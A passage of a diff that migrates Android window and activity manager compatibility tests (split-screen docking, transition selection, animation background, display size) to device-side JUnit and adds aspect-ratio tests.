+ final Rect fullScreenBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FULLSCREEN).getBounds();
+
+ setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(waitTestActivityName);
+ launchActivity(NO_RELAUNCH_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+ final Rect initialDockBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
+
+ final String logSeparator = clearLogcat();
+
+ Rect newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
+ resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+
+ // We resize twice to make sure we cross an orientation change threshold for both
+ // activities.
+ newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
+ resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+ assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
+ assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
+ }
+
+ private Rect computeNewDockBounds(
+ Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
+ final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
+ // We are either increasing size or reducing it.
+ final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
+ final Rect newBounds = new Rect(dockBounds);
+ if (inLandscape) {
+ // In landscape we change the width.
+ newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
+ } else {
+ // In portrait we change the height
+ newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
+ }
+
+ return newBounds;
+ }
+
+ @Test
+ @Presubmit
+ public void testStackListOrderLaunchDockedActivity() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(TEST_ACTIVITY_NAME);
+ mAmWmState.computeState(new String[]{TEST_ACTIVITY_NAME});
+
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int recentsStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
+ assertTrue("Recents stack should be on top of home stack",
+ recentsStackIndex < homeStackIndex);
+ }
+
+ @Test
+ @Presubmit
+ public void testStackListOrderOnSplitScreenDismissed() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no split multi-window support");
+ return;
+ }
+
+ launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+ setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(
+ DOCKED_ACTIVITY_NAME).setWindowingMode(WINDOWING_MODE_FULLSCREEN).build());
+
+ final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+ final int prevSplitScreenPrimaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(DOCKED_ACTIVITY_NAME);
+ final int prevSplitScreenSecondaryIndex =
+ mAmWmState.getAmState().getStackIndexByActivityName(TEST_ACTIVITY_NAME);
+
+ final int expectedHomeStackIndex =
+ (prevSplitScreenPrimaryIndex > prevSplitScreenSecondaryIndex
+ ? prevSplitScreenPrimaryIndex : prevSplitScreenSecondaryIndex) - 1;
+ assertTrue("Home stack needs to be directly behind the top stack",
+ expectedHomeStackIndex == homeStackIndex);
+ }
+
+ private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
+ launchActivityInDockStackAndMinimize(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
+ }
+
+ private void launchActivityInDockStackAndMinimize(String activityName, int createMode)
+ throws Exception {
+ launchActivityInDockStack(activityName, createMode);
+ pressHomeButton();
+ waitForAndAssertDockMinimized();
+ }
+
+ private void assertDockMinimized() {
+ assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
+ }
+
+ private void waitForAndAssertDockMinimized() throws Exception {
+ waitForDockMinimized();
+ assertDockMinimized();
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+ mAmWmState.assertContainsStack("Must contain docked stack.",
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+ }
+
+ private void assertDockNotMinimized() {
+ assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
+ }
+
+ private void waitForDockMinimized() throws Exception {
+ mAmWmState.waitForWithWmState(state -> state.isDockedStackMinimized(),
+ "***Waiting for Dock stack to be minimized");
+ }
+
+ private void waitForDockNotMinimized() throws Exception {
+ mAmWmState.waitForWithWmState(state -> !state.isDockedStackMinimized(),
+ "***Waiting for Dock stack to not be minimized");
+ }
+
+ public static class SplitScreenActivity extends TestActivityBase {}
+
+ public static class ToSideActivity extends TestActivityBase {}
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
similarity index 85%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
index 63aa1ab..c608507 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -14,31 +14,34 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
+
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_TASK_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static org.junit.Assert.assertEquals;
import android.platform.test.annotations.Presubmit;
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+import org.junit.Test;
/**
- * This test tests the transition type selection logic in ActivityManager/
- * WindowManager. BottomActivity is started first, then TopActivity, and we
- * check the transition type that the system selects when TopActivity enters
- * or exits under various setups.
+ * This test tests the transition type selection logic in ActivityManager/WindowManager.
+ * BottomActivity is started first, then TopActivity, and we check the transition type that the
+ * system selects when TopActivity enters or exits under various setups.
*
- * Note that we only require the correct transition type to be reported (eg.
- * TRANSIT_ACTIVITY_OPEN, TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.).
- * The exact animation is unspecified and can be overridden.
+ * Note that we only require the correct transition type to be reported (eg. TRANSIT_ACTIVITY_OPEN,
+ * TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.). The exact animation is unspecified and can be
+ * overridden.
*
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerTransitionSelectionTests
*/
@Presubmit
public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
@@ -50,31 +53,37 @@
//------------------------------------------------------------------------//
// Test activity open/close under normal timing
+ @Test
public void testOpenActivity_NeitherWallpaper() throws Exception {
testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
}
+ @Test
public void testCloseActivity_NeitherWallpaper() throws Exception {
testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
}
+ @Test
public void testOpenActivity_BottomWallpaper() throws Exception {
testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
}
+ @Test
public void testCloseActivity_BottomWallpaper() throws Exception {
testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testOpenActivity_BothWallpaper() throws Exception {
testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
}
+ @Test
public void testCloseActivity_BothWallpaper() throws Exception {
testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
@@ -83,31 +92,37 @@
//------------------------------------------------------------------------//
// Test task open/close under normal timing
+ @Test
public void testOpenTask_NeitherWallpaper() throws Exception {
testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_TASK_OPEN);
}
+ @Test
public void testCloseTask_NeitherWallpaper() throws Exception {
testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_TASK_CLOSE);
}
+ @Test
public void testOpenTask_BottomWallpaper() throws Exception {
testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
}
+ @Test
public void testCloseTask_BottomWallpaper() throws Exception {
testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testOpenTask_BothWallpaper() throws Exception {
testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
}
+ @Test
public void testCloseTask_BothWallpaper() throws Exception {
testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
@@ -118,16 +133,19 @@
// Test activity close -- bottom activity slow in stopping
// These simulate the case where the bottom activity is resumed
// before AM receives its activitiyStopped
+ @Test
public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
}
+ @Test
public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
@@ -138,16 +156,19 @@
// Test task close -- bottom task top activity slow in stopping
// These simulate the case where the bottom activity is resumed
// before AM receives its activitiyStopped
+ @Test
public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
true /*slowStop*/, TRANSIT_TASK_CLOSE);
}
+ @Test
public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
@@ -156,31 +177,37 @@
//------------------------------------------------------------------------//
/// Test closing of translucent activity/task
+ @Test
public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
TRANSIT_ACTIVITY_CLOSE);
}
+ @Test
public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
TRANSIT_WALLPAPER_INTRA_CLOSE);
}
+ @Test
public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
TRANSIT_TASK_CLOSE);
}
+ @Test
public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
TRANSIT_WALLPAPER_OPEN);
}
+ @Test
public void testCloseTask_BothWallpaper_Translucent() throws Exception {
testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
TRANSIT_WALLPAPER_INTRA_CLOSE);
@@ -235,13 +262,10 @@
}
executeShellCommand(bottomStartCmd);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
+
final String topActivityName = topTranslucent ?
TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
- final String[] bottomActivityArray = new String[] {BOTTOM_ACTIVITY_NAME};
- final String[] topActivityArray = new String[] {topActivityName};
-
- mAmWmState.computeState(mDevice, bottomActivityArray);
-
String topStartCmd = getAmStartCmd(topActivityName);
if (testNewTask) {
topStartCmd += " -f 0x18000000";
@@ -253,11 +277,12 @@
topStartCmd += " --ei FINISH_DELAY 1000";
}
executeShellCommand(topStartCmd);
+
Thread.sleep(5000);
if (testOpen) {
- mAmWmState.computeState(mDevice, topActivityArray);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(topActivityName).build());
} else {
- mAmWmState.computeState(mDevice, bottomActivityArray);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(BOTTOM_ACTIVITY_NAME).build());
}
assertEquals("Picked wrong transition", expectedTransit,
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
similarity index 67%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
index 8467af2..854b2ee 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
@@ -14,14 +14,22 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.AnimationBackgroundTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AnimationBackgroundTests
*/
public class AnimationBackgroundTests extends ActivityManagerTestBase {
+ @Test
public void testAnimationBackground_duringAnimation() throws Exception {
launchActivity(LAUNCHING_ACTIVITY);
getLaunchActivityBuilder()
@@ -30,21 +38,22 @@
.execute();
// Make sure we are in the middle of the animation.
- mAmWmState.waitForWithWmState(mDevice, state -> state
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+ mAmWmState.waitForWithWmState(state -> state
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
.isWindowAnimationBackgroundSurfaceShowing(),
"***Waiting for animation background showing");
assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
.isWindowAnimationBackgroundSurfaceShowing());
}
+ @Test
public void testAnimationBackground_gone() throws Exception {
launchActivity(LAUNCHING_ACTIVITY);
getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
- mAmWmState.computeState(mDevice, new String[] { "AnimationTestActivity "});
+ mAmWmState.computeState(new WaitForValidActivityState.Builder("AnimationTestActivity").build());
assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
+ .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
.isWindowAnimationBackgroundSurfaceShowing());
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
new file mode 100644
index 0000000..3a73a2a
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_WATCH;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.FlakyTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.Display;
+import android.view.WindowManager;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.AspectRatioTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class AspectRatioTests extends AspectRatioTestsBase {
+
+ // The max. aspect ratio the test activities are using.
+ private static final float MAX_ASPECT_RATIO = 1.0f;
+
+ // The minimum supported device aspect ratio.
+ private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
+
+ // The minimum supported device aspect ratio for watches.
+ private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
+
+ // Test target activity that has maxAspectRatio="true" and resizeableActivity="false".
+ public static class MaxAspectRatioActivity extends Activity {
+ }
+
+ // Test target activity that has maxAspectRatio="1.0" and resizeableActivity="true".
+ public static class MaxAspectRatioResizeableActivity extends Activity {
+ }
+
+ // Test target activity that has no maxAspectRatio defined and resizeableActivity="false".
+ public static class MaxAspectRatioUnsetActivity extends Activity {
+ }
+
+ // Test target activity that has maxAspectRatio defined as
+ // <meta-data android:name="android.max_aspect" android:value="1.0" />
+ // and resizeableActivity="false".
+ public static class MetaDataMaxAspectRatioActivity extends Activity {
+ }
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
+ new ActivityTestRule<>(MaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
+ new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
+ new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Rule
+ public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
+ new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
+ false /* initialTouchMode */, false /* launchActivity */);
+
+ @Test
+ @Presubmit
+ public void testDeviceAspectRatio() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+ final Display display = wm.getDefaultDisplay();
+ final DisplayMetrics metrics = new DisplayMetrics();
+ display.getRealMetrics(metrics);
+
+ float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
+ float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
+ float deviceAspectRatio = longSide / shortSide;
+ float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
+ ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
+
+ if (deviceAspectRatio < expectedMinAspectRatio) {
+ fail("deviceAspectRatio=" + deviceAspectRatio
+ + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
+ }
+ }
+
+ @Test
+ @Presubmit
+ public void testMaxAspectRatio() throws Exception {
+ runAspectRatioTest(mMaxAspectRatioActivity, actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
+ @Presubmit
+ public void testMetaDataMaxAspectRatio() throws Exception {
+ runAspectRatioTest(mMetaDataMaxAspectRatioActivity, actual -> {
+ if (MAX_ASPECT_RATIO >= actual) return;
+ fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ });
+ }
+
+ @Test
+ @FlakyTest // TODO: Currently 10% flaky so not part of pre-submit for now
+ public void testMaxAspectRatioResizeableActivity() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final float expected = getAspectRatio(context);
+
+ // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
+ runAspectRatioTest(mMaxAspectRatioResizeableActivity, actual -> {
+ if (aspectRatioEqual(expected, actual) || expected < actual) return;
+ fail("actual=" + actual + " is less than expected=" + expected);
+ });
+ }
+
+ @Test
+ @Presubmit
+ public void testMaxAspectRatioUnsetActivity() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final float expected = getAspectRatio(context);
+
+ // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
+ // the device's
+ runAspectRatioTest(mMaxAspectRatioUnsetActivity, actual -> {
+ if (aspectRatioEqual(expected, actual) || expected < actual) return;
+ fail("actual=" + actual + " is less than expected=" + expected);
+ });
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
new file mode 100644
index 0000000..cf22ad1
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.Context;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.view.Display;
+import android.view.WindowManager;
+
+class AspectRatioTestsBase {
+
+ interface AssertAspectRatioCallback {
+ void assertAspectRatio(float actual);
+ }
+
+ void runAspectRatioTest(final ActivityTestRule activityRule,
+ final AssertAspectRatioCallback callback) {
+ final Activity activity = launchActivity(activityRule);
+ callback.assertAspectRatio(getAspectRatio(activity));
+ finishActivity(activityRule);
+
+ // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
+ // context is updated correctly here. Also, what does it mean to be holding a reference to
+ // this activity if changing the orientation will cause a relaunch?
+// activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+// waitForIdle();
+// callback.assertAspectRatio(getAspectRatio(activity));
+//
+// activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
+// waitForIdle();
+// callback.assertAspectRatio(getAspectRatio(activity));
+ }
+
+ static float getAspectRatio(Context context) {
+ final Display display =
+ context.getSystemService(WindowManager.class).getDefaultDisplay();
+ final Point size = new Point();
+ display.getSize(size);
+ final float longSide = Math.max(size.x, size.y);
+ final float shortSide = Math.min(size.x, size.y);
+ return longSide / shortSide;
+ }
+
+ private Activity launchActivity(final ActivityTestRule activityRule) {
+ final Activity activity = activityRule.launchActivity(null);
+ waitForIdle();
+ return activity;
+ }
+
+ private void finishActivity(ActivityTestRule activityRule) {
+ final Activity activity = activityRule.getActivity();
+ if (activity != null) {
+ activity.finish();
+ }
+ }
+
+ private static void waitForIdle() {
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ static boolean aspectRatioEqual(float a, float b) {
+ // Aspect ratios are considered equal if they ware within to significant digits.
+ float diff = Math.abs(a - b);
+ return diff < 0.01f;
+ }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
similarity index 60%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
rename to tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
index 0ebbfe2..86a7f8c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/DisplaySizeTest.java
@@ -14,20 +14,23 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Build;
+
+import org.junit.After;
+import org.junit.Test;
/**
* Ensure that compatibility dialog is shown when launching an application with
* an unsupported smallest width.
*
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.DisplaySizeTest
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.DisplaySizeTest
*/
-public class DisplaySizeTest extends DeviceTestCase {
+public class DisplaySizeTest extends ActivityManagerTestBase {
private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
@@ -37,45 +40,34 @@
private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
private static final int WINDOW_TIMEOUT_MILLIS = 1000;
- private ITestDevice mDevice;
-
+ @After
@Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mDevice = getDevice();
- }
-
- @Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
super.tearDown();
+ resetDensity();
- try {
- resetDensity();
-
- // Ensure app process is stopped.
- forceStopPackage("android.displaysize.app");
- forceStopPackage("android.server.cts");
- } catch (DeviceNotAvailableException e) {
- // Do nothing.
- }
+ // Ensure app process is stopped.
+ forceStopPackage("android.server.am.displaysize");
+ forceStopPackage("android.server.am");
}
+ @Test
public void testCompatibilityDialog() throws Exception {
// Launch some other app (not to perform density change on launcher).
- startActivity("android.server.cts", "TestActivity");
+ startActivity("android.server.am", "TestActivity");
